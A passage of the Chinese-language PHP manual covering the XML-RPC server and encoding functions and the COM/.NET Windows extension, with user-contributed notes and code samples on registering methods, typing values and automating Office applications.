Array returned by xmlrpc_decode().

返回值

Returns true if the argument means fault, false otherwise. Fault description is available in $arg["faultString"], fault code is in $arg["faultCode"].

示例

See example by xmlrpc_encode_request().

参见

  • xmlrpc_decode() - 将 XML 解码为原生 PHP 类型

User Contributed Notes

angelo at at dot com 25-Jan-2011 12:31
A note, response from xmlrpc_decode is not always an array. Whenever the XMLRPC server returns a string, xmlrpc_is_fault will complain about not being an array.

Best way to detect errors is

<?php

    $response = xmlrpc_decode($file);

    if (is_array($response) && xmlrpc_is_fault($response)) {
        throw new Exception($response['faultString'], $response['faultCode']);
    }

?>


将 XML 解码为方法描述列表

  • ? xmlrpc_is_fault
  • xmlrpc_server_add_introspection_data ?
  • PHP Manual
  • XML-RPC 函数
  • 将 XML 解码为方法描述列表

xmlrpc_parse_method_descriptions

(PHP 4 >= 4.1.0, PHP 5, PHP 7)

xmlrpc_parse_method_descriptions — 将 XML 解码为方法描述列表

说明

xmlrpc_parse_method_descriptions(string $xml): array
Warning

此函数是实验性的。此函数的表象，包括名称及其相关文档都可能在未来的 PHP 发布版本中未通知就被修改。使用本函数风险自担。

Warning

本函数还未编写文档，仅有参数列表。

User Contributed Notes

giunta dot gaetano at gmail dot com 29-Dec-2020 05:05
The format for the xml string is the same that has to be returned by functions registered via calls to `xmlrpc_server_register_introspection_callback`.

It is documented at http://xmlrpc-epi.sourceforge.net/specs/rfc.system.describeMethods.php


添加自我描述文档

  • ? xmlrpc_parse_method_descriptions
  • xmlrpc_server_call_method ?
  • PHP Manual
  • XML-RPC 函数
  • 添加自我描述文档

xmlrpc_server_add_introspection_data

(PHP 4 >= 4.1.0, PHP 5, PHP 7)

xmlrpc_server_add_introspection_data — 添加自我描述文档

说明

xmlrpc_server_add_introspection_data(resource $server, array $desc): int
Warning

此函数是实验性的。此函数的表象，包括名称及其相关文档都可能在未来的 PHP 发布版本中未通知就被修改。使用本函数风险自担。

Warning

本函数还未编写文档，仅有参数列表。

User Contributed Notes

giunta dot gaetano at gmail dot com 29-Dec-2020 05:03
The format to be used for data in the $desc array is the same as returned by calls to function `xmlrpc_parse_method_descriptions`


解析 XML 请求和调用方法

  • ? xmlrpc_server_add_introspection_data
  • xmlrpc_server_create ?
  • PHP Manual
  • XML-RPC 函数
  • 解析 XML 请求和调用方法

xmlrpc_server_call_method

(PHP 4 >= 4.1.0, PHP 5, PHP 7)

xmlrpc_server_call_method — 解析 XML 请求和调用方法

说明

xmlrpc_server_call_method(
resource $server,
string $xml,
mixed $user_data,
array $output_options = ?
): string
Warning

此函数是实验性的。此函数的表象，包括名称及其相关文档都可能在未来的 PHP 发布版本中未通知就被修改。使用本函数风险自担。

Warning

本函数还未编写文档，仅有参数列表。

User Contributed Notes

marco.buratto at tiscali punto it 28-Dec-2006 08:15
xmlrpc_server_call_method() with class methods

<?php
require_once ('Connections/adodb_mysql_connection.php');

// Instantiating my own class
$my_report = new external_report($db_connection);

// Setting up the XML-RPC "server"
$xmlrpc_server_handler = xmlrpc_server_create();
xmlrpc_server_register_method($xmlrpc_server_handler, "external_method", array(&$my_report, "export"));

// Creating XML return data
if ($response = xmlrpc_server_call_method($xmlrpc_server_handler, $HTTP_RAW_POST_DATA, null))
    {
    header('Content-Type: text/xml');
    echo $response;
    }

// **************** class definition ****************

class external_report
    {
    protected $db_connection;

    public function __construct($db_connection_pointer)
        {
        if (method_exists($db_connection_pointer, "Execute")) $this->db_connection = $db_connection_pointer;
        else die("...");
        }

    public function export($method_name, $params_array)
        {
        $id_dir = (int)$params_array[0];
        $id_usr = (int)$params_array[1]; // not used, just an example
        // We have to add arguments' validating code here and NOT inside the constructor (as usual)
        // because arguments are passed directly by xmlrpc_server_call_method (?!!)

        $myexport = array();

        $dirs_query = "SELECT documento_id FROM tabella_cartelle WHERE cartella_id = ".$id_dir;
        $dirs_result = $this->db_connection->Execute($dirs_query) or die("...");

        $index = 0;
        while(!$dirs_result->EOF)
            {
            $docs_query = "SELECT codice, titolo FROM tabella_documenti WHERE id_documento = ".$dirs_result->Fields('documento_id');
            $docs_result = $this->db_connection->Execute($docs_query) or die("...");

            $myexport[$index]['codice'] = $docs_result->Fields('codice');
            $myexport[$index]['titolo'] = $docs_result->Fields('titolo');

            $index++;
            $dirs_result->MoveNext();
            }

        return $myexport;
        }
    }
?>
nyvsld at gmail dot com 27-Nov-2005 05:08
<?php
/* method implementation */
function impl($method_name,$params,$user_data){
  var_dump(func_get_args('impl'));
  return array_sum($params);
}

/* create server */
$s=xmlrpc_server_create();
xmlrpc_server_register_method($s,'add','impl');

/* calling server method */
$req=xmlrpc_encode_request('add',array(1,2,3));
$resp=xmlrpc_server_call_method($s,$req,array(3,4));

/* process result */
$decoded=xmlrpc_decode($resp);
if(xmlrpc_is_fault($decoded)){
    echo 'fault!';
}

var_dump($decoded);
?>


创建 xmlrpc 服务器

  • ? xmlrpc_server_call_method
  • xmlrpc_server_destroy ?
  • PHP Manual
  • XML-RPC 函数
  • 创建 xmlrpc 服务器

xmlrpc_server_create

(PHP 4 >= 4.1.0, PHP 5, PHP 7)

xmlrpc_server_create — 创建 xmlrpc 服务器

说明

xmlrpc_server_create(): resource
Warning

此函数是实验性的。此函数的表象，包括名称及其相关文档都可能在未来的 PHP 发布版本中未通知就被修改。使用本函数风险自担。

Warning

本函数还未编写文档，仅有参数列表。

User Contributed Notes

There are no user contributed notes for this page.


销毁服务端资源

  • ? xmlrpc_server_create
  • xmlrpc_server_register_introspection_callback ?
  • PHP Manual
  • XML-RPC 函数
  • 销毁服务端资源

xmlrpc_server_destroy

(PHP 4 >= 4.1.0, PHP 5, PHP 7)

xmlrpc_server_destroy — 销毁服务端资源

说明

xmlrpc_server_destroy(resource $server): bool
Warning

此函数是实验性的。此函数的表象，包括名称及其相关文档都可能在未来的 PHP 发布版本中未通知就被修改。使用本函数风险自担。

Warning

本函数还未编写文档，仅有参数列表。

User Contributed Notes

nospam at bigbadweb dot co dot uk 22-Nov-2005 02:26
This function returns true (1) if successful and false (0) if resource is invalid or could not be destroyed.


注册 PHP 函数来生成文档

  • ? xmlrpc_server_destroy
  • xmlrpc_server_register_method ?
  • PHP Manual
  • XML-RPC 函数
  • 注册 PHP 函数来生成文档

xmlrpc_server_register_introspection_callback

(PHP 4 >= 4.1.0, PHP 5, PHP 7)

xmlrpc_server_register_introspection_callback — 注册 PHP 函数来生成文档

说明

xmlrpc_server_register_introspection_callback(resource $server, string $function): bool
Warning

此函数是实验性的。此函数的表象，包括名称及其相关文档都可能在未来的 PHP 发布版本中未通知就被修改。使用本函数风险自担。

Warning

本函数还未编写文档，仅有参数列表。

User Contributed Notes

ronadaassoc at gmail dot com 22-Oct-2022 05:51
<?xml version='1.0'?>
<introspection version='1.0'>
<methodList>
  <methodDescription name='introspection.hello'>
   <author>Dan Libby</author>
   <purpose>greets the caller and demonstrates use of introspection mechanism</purpose>
   <signatures>
    <signature>
     <params>
      <value type='string' name='name'>name of the caller</value>
     </params>
     <returns>
      <value type='string'>a greeting to the caller</value>
     </returns>
    </signature>
   </signatures>
   <see><item>system.listMethods</item></see>
   <examples/>
   <errors>
      <item>returns fault code 1 if the caller's name is not specified</item>
   </errors>
   <notes>
    <item>this is a lame example</item>
    <item>example of multiple notes</item>
   </notes>
   <bugs/>
   <todo/>
  </methodDescription>
</methodList>
</introspection>
giunta dot gaetano at gmail dot com 29-Dec-2020 01:58
The introspection callback function should return an XML string with the following format:

<?xml version='1.0'?>
<introspection version='1.0'>
 <methodList>
  <methodDescription name='introspection.hello'>
   <author>Dan Libby</author>
   <purpose>greets the caller and demonstrates use of introspection mechanism</purpose>
   <signatures>
    <signature>
     <params>
      <value type='string' name='name'>name of the caller</value>
     </params>
     <returns>
      <value type='string'>a greeting to the caller</value>
     </returns>
    </signature>
   </signatures>
   <see><item>system.listMethods</item></see>
   <examples/>
   <errors>
      <item>returns fault code 1 if the caller's name is not specified</item>
   </errors>
   <notes>
    <item>this is a lame example</item>
    <item>example of multiple notes</item>
   </notes>
   <bugs/>
   <todo/>
  </methodDescription>
 </methodList>
</introspection>


注册 PHP 函数搭到资源用于匹配 method_name

  • ? xmlrpc_server_register_introspection_callback
  • xmlrpc_set_type ?
  • PHP Manual
  • XML-RPC 函数
  • 注册 PHP 函数搭到资源用于匹配 method_name

xmlrpc_server_register_method

(PHP 4 >= 4.1.0, PHP 5, PHP 7)

xmlrpc_server_register_method — 注册 PHP 函数搭到资源用于匹配 method_name

说明

xmlrpc_server_register_method(resource $server, string $method_name, string $function): bool
Warning

此函数是实验性的。此函数的表象，包括名称及其相关文档都可能在未来的 PHP 发布版本中未通知就被修改。使用本函数风险自担。

Warning

本函数还未编写文档，仅有参数列表。

User Contributed Notes

giunta dot gaetano at gmail dot com 30-Dec-2020 09:02
Note 1: even if you add introspection data via calls to `xmlrpc_server_register_introspection_callback` or `xmlrpc_server_add_introspection_data`, the server will not validate for you the number or type of received parameters.
This means that you have to implement all required validation of the received parameters in your php function.

Note 2: take care about dealing with base64 and datetime values in the received parameters: those are not automatically transformed into php scalar values, but into stdClass objects with members `xmlrpc_type` and `scalar`
giunta dot gaetano at sea-aeroportimilano dot it 11-Aug-2006 06:55
To have an xmlrpc fault response programatically generated by the server, the php function registered as method handler must return an array containing a FaultCode and a FaultString members.

function $myfunc($methodname, $vals, $extra_data)
{
...
return array('faultCode' => 666, 'faultString' => 'DOH!');
}
nyvsld at gmail dot com 27-Nov-2005 05:03
prototype of registered function:

function method_impl(string $method_name, array $params, array $user_data);

$method_name
    the public method name, known by calling client
$params
    parameters specified by calling client
$user_data
    any local data, passed by `xmlrpc_server_call_method'
dante at lorenso dot com 11-Aug-2005 12:46
To register a callback to a 'static' function within the same class, consider a syntax like the following:
<code>
$callback = array (__CLASS__, "my_function_name");
xmlrpc_server_register_method($xmlrpc_server, "my_function", $callback);
</code>
Doing it this way makes it easier to rename your class later.
eiriks at hollowmatrix dot com 28-Mar-2005 03:08
Remember that you can't do like Chrigu and Nate said if you want to add methods from a static class (Hence you can't create any instances of it).
A workaround is to create lambda functions calling the
methods:

// Our static handler class
static class MyHandler
{
    public function getPrice($item)
    {
        $prices = array("apple" => 4, "orange" => 5);
        return $prices[$item];
    }
    public function buy($item, $number)
    {
        $price = self::getPrice($item) * $number;
        do_thing_to_sell_the_item();
        return $price;
    }
}

// Use reflection to get method names and parameters
$mirror = new ReflectionClass("MyHandler");
foreach ($mirror->getMethods() as $method)
{
    // Create new "lambda" function for each method

    // Generate argument list
    $args = array();
    foreach ($method->getParameters() as $param)
    {
        $args[] = '$'.$param->getName();
    }
    $args = implode(',', $args);

    // Generate code
    $methodname = $method->getName();
    $code = "return {$real_class}::{$methodname}({$args});";

    // Create function, retrieve function name
    $function_name = create_function($args, $code);

    // Register the function
    xmlrpc_server_register_method($myserver, $methodname, $function_name);
}
Nate Parsons 29-Apr-2003 03:12
In case its not completely obvious what Chrigu meant,

You can register a method inside your class by doing the following:

xml_rpc_server_register_methode($xmlrpc_server, "myClientCall", array(&$this, "handleClientCallFunc"));

where $this == the magic class $this. =)
18-Nov-2002 10:40
Here is an example how to register a class methode:

xml_rpc_server_register_methode($xmlrpc_server, "foo", array(&$bar, "foo_func"));

where $bar is the instance of your class and foo_func a methode of this class. Don't forget the '&'!

hope this may be useful...

Chrigu


为 PHP 字符串值设置 xmlrpc 类型，base64 或 datetime

  • ? xmlrpc_server_register_method
  • Windows 专用扩展 ?
  • PHP Manual
  • XML-RPC 函数
  • 为 PHP 字符串值设置 xmlrpc 类型，base64 或 datetime

xmlrpc_set_type

(PHP 4 >= 4.1.0, PHP 5, PHP 7)

xmlrpc_set_type — 为 PHP 字符串值设置 xmlrpc 类型，base64 或 datetime

说明

xmlrpc_set_type(string &$value, string $type): bool

为 PHP 字符串值设置 xmlrpc 类型，base64 或 datetime。

Warning

此函数是实验性的。此函数的表象，包括名称及其相关文档都可能在未来的 PHP 发布版本中未通知就被修改。使用本函数风险自担。

参数

value

设置类型的值

type

'base64' 或 'datetime'

返回值

成功时返回 true， 或者在失败时返回 false。 如果成功，value 将转换为对象。

错误／异常

使用 XMLRPC 不支持的类型会发出 E_WARNING。

示例

Example #1 xmlrpc_set_type() 示例

<?php

$params = date("Ymd\TH:i:s", time());
xmlrpc_set_type($params, 'datetime');
echo xmlrpc_encode($params);

?>

以上示例的输出类似于：

<?xml version="1.0" encoding="utf-8"?>
<params>
<param>
 <value>
  <dateTime.iso8601>20090322T23:43:03</dateTime.iso8601>
 </value>
</param>
</params>

User Contributed Notes

bmatheny at mobocracy dot net 24-Mar-2006 03:08
The following code segfaults some older (pre 5.1.2) versions of PHP:

$foo = date('c', time());
xmlrpc_set_type($foo, 'datetime');

Please upgrade before reporting as a bug.
shem((at))etkDOTca [aka.Przemyslaw Szot] 30-Oct-2004 02:23
Once you use the xmlrpc_set_type function, the data is encoded into a PHP object.  In your XMLRPC server, in order to access the data you must be able to access the necessary part of the object.

So.. to expend on the example above:

<---------- CLIENT ---------->
$string = "My logging event.";
$date = "20030115T12:22:37"; // Must be this format
$binary = fread($fp, 128);
xmlrpc_set_type(&$date, "datetime");
xmlrpc_set_type(&$binary, "base64");
$xmlrpcReq = xmlrpc_encode_request("log.data", array($string, $date, $binary));

In order to retrieve the binary file data you would need to get the scalar portion of the object:

<---------- SERVER ------------>
$string=$params[0];
$date_obj=$params[1];
$binary_obj=$params[2];

$date=$date_obj->scalar;
$binary_data=$binary_obj->scalar;

// Then you can proceed to write the binary
fwrite($handle,$binary_data);
kelly at seankelly dot biz 28-Dec-2002 07:53
The problem is that PHP has a string type which is also used to hold binary data and dates.  But XML-RPC defines three separate types for strings, binary data, and dates.  How do you tell how you want strings encoded?  That's where this function comes in.

Suppose the XML-RPC method "log.data" took a string, a date, and a binary object.  To tell XML-RPC that the date (which is a PHP string) is a really a date and that the binary data (which is also a PHP string) is really binary data, try:

$string = "My logging event.";
$date = "20030115T12:22:37"; // Must be this format
$binary = fread($fp, 128);
xmlrpc_set_type(&$date, "datetime");
xmlrpc_set_type(&$binary, "base64");
$xmlrpcReq = xmlrpc_encode_request("log.data", array($string, $date, $binary));

Note the reference passing in the calls to xmlrpc_set_type; that enables the function to change the values from strings into what xmlrpc_encode/_request expects (which are objects that include a bonus field that tells the desired XML-RPC type).


Windows 专用扩展

  • COM — COM 和 .Net（Windows）
    • 简介
    • 安装/配置
    • 预定义常量
    • Errors and error handling
    • 示例
    • com — The com class
    • dotnet — The dotnet class
    • variant — variant class
    • COMPersistHelper — The COMPersistHelper class
    • com_exception — The com_exception class
    • COM 函数
  • win32service
    • 简介
    • 安装/配置
    • 预定义常量
    • Win32ServiceException — The Win32ServiceException class
    • 示例
    • win32service 函数

User Contributed Notes

There are no user contributed notes for this page.


COM 和 .Net（Windows）

  • 简介
  • 安装/配置
    • 需求
    • 安装
    • 运行时配置
    • 资源类型
  • 预定义常量
  • Errors and error handling
  • 示例
    • For Each
    • Arrays and Array-style COM properties
  • com — The com class
    • com::__construct — com class constructor
  • dotnet — The dotnet class
    • dotnet::__construct — dotnet class constructor
  • variant — variant class
    • variant::__construct — variant class constructor
  • COMPersistHelper — The COMPersistHelper class
    • COMPersistHelper::__construct — Construct a COMPersistHelper object
    • COMPersistHelper::GetCurFileName — Get current filename
    • COMPersistHelper::GetMaxStreamSize — Get maximum stream size
    • COMPersistHelper::InitNew — Initialize object to default state
    • COMPersistHelper::LoadFromFile — Load object from file
    • COMPersistHelper::LoadFromStream — Load object from stream
    • COMPersistHelper::SaveToFile — Save object to file
    • COMPersistHelper::SaveToStream — Save object to stream
  • com_exception — The com_exception class
  • COM 函数
    • com_create_guid — Generate a globally unique identifier (GUID)
    • com_event_sink — Connect events from a COM object to a PHP object
    • com_get_active_object — Returns a handle to an already running instance of a COM object
    • com_load_typelib — 载入 Typelib
    • com_message_pump — Process COM messages, sleeping for up to timeoutms milliseconds
    • com_print_typeinfo — Print out a PHP class definition for a dispatchable interface
    • variant_abs — Returns the absolute value of a variant
    • variant_add — "Adds" two variant values together and returns the result
    • variant_and — Performs a bitwise AND operation between two variants
    • variant_cast — Convert a variant into a new variant object of another type
    • variant_cat — Concatenates two variant values together and returns the result
    • variant_cmp — Compares two variants
    • variant_date_from_timestamp — Returns a variant date representation of a Unix timestamp
    • variant_date_to_timestamp — Converts a variant date/time value to Unix timestamp
    • variant_div — Returns the result from dividing two variants
    • variant_eqv — Performs a bitwise equivalence on two variants
    • variant_fix — Returns the integer portion of a variant
    • variant_get_type — Returns the type of a variant object
    • variant_idiv — Converts variants to integers and then returns the result from dividing them
    • variant_imp — Performs a bitwise implication on two variants
    • variant_int — Returns the integer portion of a variant
    • variant_mod — Divides two variants and returns only the remainder
    • variant_mul — Multiplies the values of the two variants
    • variant_neg — Performs logical negation on a variant
    • variant_not — Performs bitwise not negation on a variant
    • variant_or — Performs a logical disjunction on two variants
    • variant_pow — Returns the result of performing the power function with two variants
    • variant_round — Rounds a variant to the specified number of decimal places
    • variant_set_type — Convert a variant into another type "in-place"
    • variant_set — Assigns a new value for a variant object
    • variant_sub — Subtracts the value of the right variant from the left variant value
    • variant_xor — Performs a logical exclusion on two variants

User Contributed Notes

robert dot johnson at icap dot com 24-Jul-2012 09:30
(From?) PHP 5.4.5 for Windows:

If you are seeing this in your error log:

Fatal error:  Class 'COM' not found

You require this in php.ini:

[PHP_COM_DOTNET]
extension=php_com_dotnet.dll

Previously it was compiled as built-in on the Windows build.  I assume this has happened because the com extension can now be built as a shared component.
Anonymous 23-Sep-2009 05:00
Add hyperlink at a Word Document's bookmark

<?php
// Create COM instance to word
       function clsMSWord($Visible = false)
       {
           $this->handle = new COM("word.application") or die("Unable to instanciate Word");
           $this->handle->Visible = $Visible;
       }

function WriteHyperlink($Bookmark,$Path,$Text)
       {
               $objBookmark = $this->handle->ActiveDocument->Bookmarks($Bookmark);
               $range = $objBookmark->Range;
               $objHyperlink = $this->handle->ActiveDocument->Hyperlinks;
               $objHyperlink->add($range,$Path,"","",$Text);

       }
?>
Dave Bachtel 27-May-2009 02:20
Hello everybody!

Here is some helpful advice for people attempting to use COM with Microsoft MapPoint 2006 or 2009 with PHP.

If you are using apache, it MUST be running under the same credentials as a desktop user that has already installed/run mappoint or modifiy the service and select the "Allow Service to Interact with Desktop" option.  Otherwise, it won't work due to the EULA popup having to be accepted.  Mappoint 2004 works just fine, this only applies to 2006 and 2009.

For troubleshooting, the error that appears in the System event viewer is:
The server {31851F82-AFE6-11D2-A3C9-00C04F72F340} did not register with DCOM within the required timeout.

The error generated by PHP, if you happen to get lucky and let the COM() function timeout by cranking up set_time_limit() timeout is:
<?php

set_time_limit(1000) ;

$mapoint =  new COM("MapPoint.Application") or die("Unable to instantiate Mappoint COM object");

?>
Generates:
Fatal error: Uncaught exception 'com_exception' with message 'Failed to create COM object `MapPoint.Application': Server execution failed ' in [somefile.php]:9 Stack trace: #0 [somefile.php](9): com->com('MapPoint.Applic...') #1 {main} thrown in [somefile.php] on line 9

Also, if you have multiple versions of MapPoint installed, you will need to run:
c:\path\to\mappoint\MapPoint.exe /registerserver

(using the correct folder path) to select the right version of the com object to use.  Gooood luck!
acsandeep at gmail dot com 04-Apr-2009 09:40
If you are trying to get the properties of a Word document opened via COM object, you may need to define some constants in your script like so.

<?php
define('wdPropertyTitle', 1);
define('wdPropertySubject', 2);
define('wdPropertyAuthor', 3);
define('wdPropertyKeywords', 4);
define('wdPropertyComments', 5);
define('wdPropertyTemplate', 6);
define('wdPropertyLastAuthor', 7);

$word = new COM("word.application") or die ("Could not initialise MS Word object.");
$word->Documents->Open(realpath("Sample.doc"));
$Author = $word->ActiveDocument->BuiltInDocumentProperties(wdPropertyAuthor);

echo $Author;
?>
long2hu3 ATT yahoo DOTT com 18-Mar-2009 04:38
When you work with MS Excel, Word, ... and other applications, never forget that COM doesn't know their predefined constants, thus if you want to do sth. that would look like this in VB:

With myRange.Borders(xlEdgeBottom)
    .LineStyle = xlContinuous
    .Weight = xlThin
    .ColorIndex = xlAutomatic
End With

you should either use numbers or define constants above, like this:

<?php

define('xlEdgeBottom', 9);
define('xlContinuous', 1);
define('xlThin', 2);
define('xlAutomatic', -4105);

$ex = new COM("Excel.Application", NULL, CP_UTF8) or Die ("Did not instantiate Excel");
$wb = $ex->Application->Workbooks->Add();
$ws = $wb->Worksheets(1);

$xra = $ws->Range("A1:A6");

$bs = $xra->Borders(xlEdgeBottom);
$bs->LineStyle = xlContinuous;
$bs->Weight = xlThin;
$bs->ColorIndex = xlAutomatic;

?>

It is pointless to try to use text strings, i.e.

<?php

$bs = $xra->Borders('xlEdgeBottom');
$bs->Weight = 'xlThin';

?>

this will cause an error: Unable to set property Weight of class Border ...
ilayansmano at gmail dot com 26-Aug-2008 01:39
Extracting text from Word Documents via PHP and COM

<?php
$word = new COM("word.application") or die ("Could not initialise MS Word object.");
$word->Documents->Open(realpath("Sample.doc"));

// Extract content.
$content = (string) $word->ActiveDocument->Content;

echo $content;

$word->ActiveDocument->Close(false);

$word->Quit();
$word = null;
unset($word);
?>


简介

COM 是 Component Object Model 的缩写；它是 DCE RPC（公开标准）之上的面向对象层（和相关服务），定义了通用的调用转换，任一语言编写的代码都可以与另外的任一语言（前提是这些语言可以 COM 感知）编写的代码进行互相调用与交互。代码不仅可以用任何语言编写，并且不需要是同一个执行文件的一部分；代码可以从 DLL 载入，或者从相同机器的另外一个进程中找到，或者使用 DCOM（分布式 COM），或者从远程机器的另外一个进程中找到，所有的这些都不要代码知道组件在哪里。

有个 COM 子集叫做 OLE 自动化，包含一组允许松散绑定 COM 对象的 COM 接口，因此可以在运行是对其自省（introspected）和调用，而无需了解编译时这些对象的工作原理。PHP COM 扩展利用 OLE 自动化接口，允许从脚本中创建和调用兼容对象。从技术上，这应该称为"OLE Automation Extension for PHP"（PHP OLE 自动化扩展），因为并非所有的 COM 对象用于 OLE 兼容。

现在，为什么以及何时应该使用 COM？COM 是在 Windows 平台上将组件和应用结合在一起的主要方法之一；使用 COM 可以启动 Microsoft Word，填充文档模板并将结果保存为 Word 文档，然后将其发送给网站的访客。可以使用 COM 为网络执行管理任务和配置 IIS；这些只是最常见的用途；还可以使用 COM 做更多的事情。

此外，支持使用 Microsoft 提供的 COM 互操作层来实例化和创建 .NET 程序集。

User Contributed Notes

There are no user contributed notes for this page.


需求

COM functions are only available for the Windows version of PHP.

.Net support requires the .Net runtime.

User Contributed Notes

There are no user contributed notes for this page.


安装

This extension requires php_com_dotnet.dll to be enabled inside of php.ini in order to use these functions.

You are responsible for installing support for the various COM objects that you intend to use (such as MS Word); we don't and can't bundle all of those with PHP.

User Contributed Notes

There are no user contributed notes for this page.


运行时配置

这些函数的行为受 php.ini 中的设置影响。

COM 配置选项
名字 | 默认 | 可修改范围 | 更新日志
com.allow_dcom | "0" | PHP_INI_SYSTEM |
com.autoregister_typelib | "0" | PHP_INI_ALL |
com.autoregister_verbose | "0" | PHP_INI_ALL |
com.autoregister_casesensitive | "1" | PHP_INI_ALL |
com.code_page | "" | PHP_INI_ALL |
com.dotnet_version | "" | PHP_INI_SYSTEM | As of PHP 8.0.0
com.typelib_file | "" | PHP_INI_SYSTEM |
有关 PHP_INI_* 样式的更多详情与定义，见 配置可被设定范围。

这是配置指令的简短说明。

com.allow_dcom

启用后，将允许 PHP 作为 D-COM（分布式 COM）客户端运行，并允许 PHP 脚本在远程服务器上实例化 COM 对象。

com.autoregister_typelib

启用后，PHP 尝试从已实例化的 COM 对象的类型库中注册常量，前提是这些对象实现了获取信息所需的接口。注册的常量是否区分大小写，由 com.autoregister_casesensitive php.ini 控制。

com.autoregister_verbose

启用时，在对象实例化期间加载类型库出现的任何问题都会使用 PHP 的错误机制报告。默认为 off，如果查找或者加载类库出现错误则不会发出任何指示。

com.autoregister_casesensitive

启用时（默认），实例化 COM 对象时，在自动加载类型库中找到的常量将区分大小写进行注册。有关详细信息，请参阅 com_load_typelib()。

com.code_page

它控制着与 COM 对象之间传递字符串时要使用的默认字符集代码页。如果将其设置为空字符串，PHP 将使用 CP_ACP，即默认的系统 ANSI 代码页。

如果脚本中的文本默认使用不同的编码/字符集进行编码，设置该指令将免去将代码页作为参数传递给 com 类构造函数的麻烦。请注意，通过使用这个指令（与任何 PHP 配置指令一样），PHP 脚本变得不太可移植；应尽可能使用 COM 构造函数参数。

com.dotnet_version

用于 dotnet 对象的 .NET 框架版本。设置的值是框架版本号的前三部分，以点分隔，并以 v 作为前缀，例如 v4.0.30319。

com.typelib_file

设置后，它应该保存一个在启动时应加载的包含类型库列表的文件路径。文件的每一行将被视为类型库名称，并且将其加载，就像调用 com_load_typelib() 一样。常量会持久注册，因此只需要加载一次库。如果类型库名称以字符串 #cis 或 #case_insensitive 结尾，则该库的常量将以不区分大小写的方式注册。

User Contributed Notes

There are no user contributed notes for this page.


预定义常量

下列常量由此扩展定义，且仅在此扩展编译入 PHP 或在运行时动态载入时可用。

COM 常量
常量 | 值 | 描述 | 说明
CLSCTX_INPROC_SERVER (int) | 1 | The code that creates and manages objects of this class is a DLL that runs in the same process as the caller of the function specifying the class context. |
CLSCTX_INPROC_HANDLER (int) | 2 | The code that manages objects of this class is an in-process handler. This is a DLL that runs in the client process and implements client-side structures of this class when instances of the class are accessed remotely. |
CLSCTX_LOCAL_SERVER (int) | 4 | The EXE code that creates and manages objects of this class runs on same machine but is loaded in a separate process space. |
CLSCTX_REMOTE_SERVER (int) | 16 | A remote context. The code that creates and manages objects of this class is run on a different computer. |
CLSCTX_SERVER (int) | 21 | Indicates server code, whether in-process, local, or remote. This definition ORs CLSCTX_INPROC_SERVER, CLSCTX_LOCAL_SERVER, and CLSCTX_REMOTE_SERVER. |
CLSCTX_ALL (int) | 23 | Indicates all class contexts. This definition ORs CLSCTX_INPROC_HANDLER and CLSCTX_SERVER. |
VT_NULL (int) | 1 | NULL pointer reference. |
VT_EMPTY (int) | 0 | A property with a type indicator of VT_EMPTY has no data associated with it; that is, the size of the value is zero. |
VT_INT (int) | 22 | 4-byte signed integer value (equivalent to VT_I4). |
VT_I1 (int) | 16 | 1-byte signed integer. |
VT_I2 (int) | 2 | Two bytes representing a 2-byte signed integer value. |
VT_I4 (int) | 3 | 4-byte signed integer value. |
VT_I8 (int) | 20 | 8-byte signed integer value. | Available as of PHP 7.0.0 (x64 only).
VT_UINT (int) | 23 | 4-byte unsigned integer (equivalent to VT_UI4). |
VT_UI1 (int) | 17 | 1-byte unsigned integer. |
VT_UI2 (int) | 18 | 2-byte unsigned integer. |
VT_UI4 (int) | 19 | 4-byte unsigned integer. |
VT_UI8 (int) | 21 | 8-byte unsigned integer. | Available as of PHP 7.0.0 (x64 only).
VT_R4 (int) | 4 | 32-bit IEEE floating point value. |
VT_R8 (int) | 5 | 64-bit IEEE floating point value. |
VT_BOOL (int) | 11 | Boolean value. |
VT_ERROR (int) | 10 | Error code; containing the status code associated with the error. |
VT_CY (int) | 6 | 8-byte two's complement integer (scaled by 10,000). |
VT_DATE (int) | 7 | A 64-bit floating point number representing the number of days (not seconds) since December 31, 1899. For example, January 1, 1900, is 2.0, January 2, 1900, is 3.0, and so on). This is stored in the same representation as VT_R8. |
VT_BSTR (int) | 8 | Pointer to a null-terminated Unicode string. |
VT_DECIMAL (int) | 14 | A decimal structure. |
VT_UNKNOWN (int) | 13 | A pointer to an object that implements the IUnknown interface. |
VT_DISPATCH (int) | 9 | A pointer to a pointer to an object was specified. |
VT_VARIANT (int) | 12 | A type indicator followed by the corresponding value. VT_VARIANT can be used only with VT_BYREF. |
VT_ARRAY (int) | 8192 | If the type indicator is combined with VT_ARRAY by an OR operator, the value is a pointer to a SAFEARRAY. VT_ARRAY can use the OR with the following data types: VT_I1, VT_UI1, VT_I2, VT_UI2, VT_I4, VT_UI4, VT_INT, VT_UINT, VT_R4, VT_R8, VT_BOOL, VT_DECIMAL, VT_ERROR, VT_CY, VT_DATE, VT_BSTR, VT_DISPATCH, VT_UNKNOWN and VT_VARIANT. |
VT_BYREF (int) | 16384 | If the type indicator is combined with VT_BYREF by an OR operator, the value is a reference. Reference types are interpreted as a reference to data, similar to the reference type in C++. |
CP_ACP (int) | 0 | 默认为 ANSI 编码页。 |
CP_MACCP (int) | 2 | Macintosh code page. |
CP_OEMCP (int) | 1 | 默认为 OEM 编码页。 |
CP_UTF7 (int) | 65000 | Unicode (UTF-7). |
CP_UTF8 (int) | 65001 | Unicode (UTF-8). |
CP_SYMBOL (int) | 42 | SYMBOL translations. |
CP_THREAD_ACP (int) | 3 | 当前线程的 ANSI 编码页 |
VARCMP_LT (int) | 0 | The left bstr is less than right bstr. |
VARCMP_EQ (int) | 1 | The two parameters are equal. |
VARCMP_GT (int) | 2 | The left bstr is greater than right bstr. |
VARCMP_NULL (int) | 3 | Either expression is NULL. |
NORM_IGNORECASE (int) | 1 | Ignore case sensitivity. |
NORM_IGNORENONSPACE (int) | 2 | Ignore nonspacing characters. |
NORM_IGNORESYMBOLS (int) | 4 | Ignore symbols. |
NORM_IGNOREWIDTH (int) | 131072 | Ignore string width. |
NORM_IGNOREKANATYPE (int) | 65536 | Ignore Kana type. |
NORM_IGNOREKASHIDA (int) | 262144 | Ignore Arabic kashida characters. | Availability is dependent upon under lying library.
DISP_E_DIVBYZERO (int) | -2147352558 | A return error that indicates a divide by zero error. | As of PHP 7.0.0, the value is 2147614738 on x64.
DISP_E_OVERFLOW (int) | -2147352566 | An error that indicates that a value could not be coerced to its expected representation. | As of PHP 7.0.0, the value is 2147614730 on x64.
DISP_E_BADINDEX (int) | -2147352565 | An error that indicates that an array index does not exist. | As of PHP 7.0.0, the value is 2147614731 on x64.
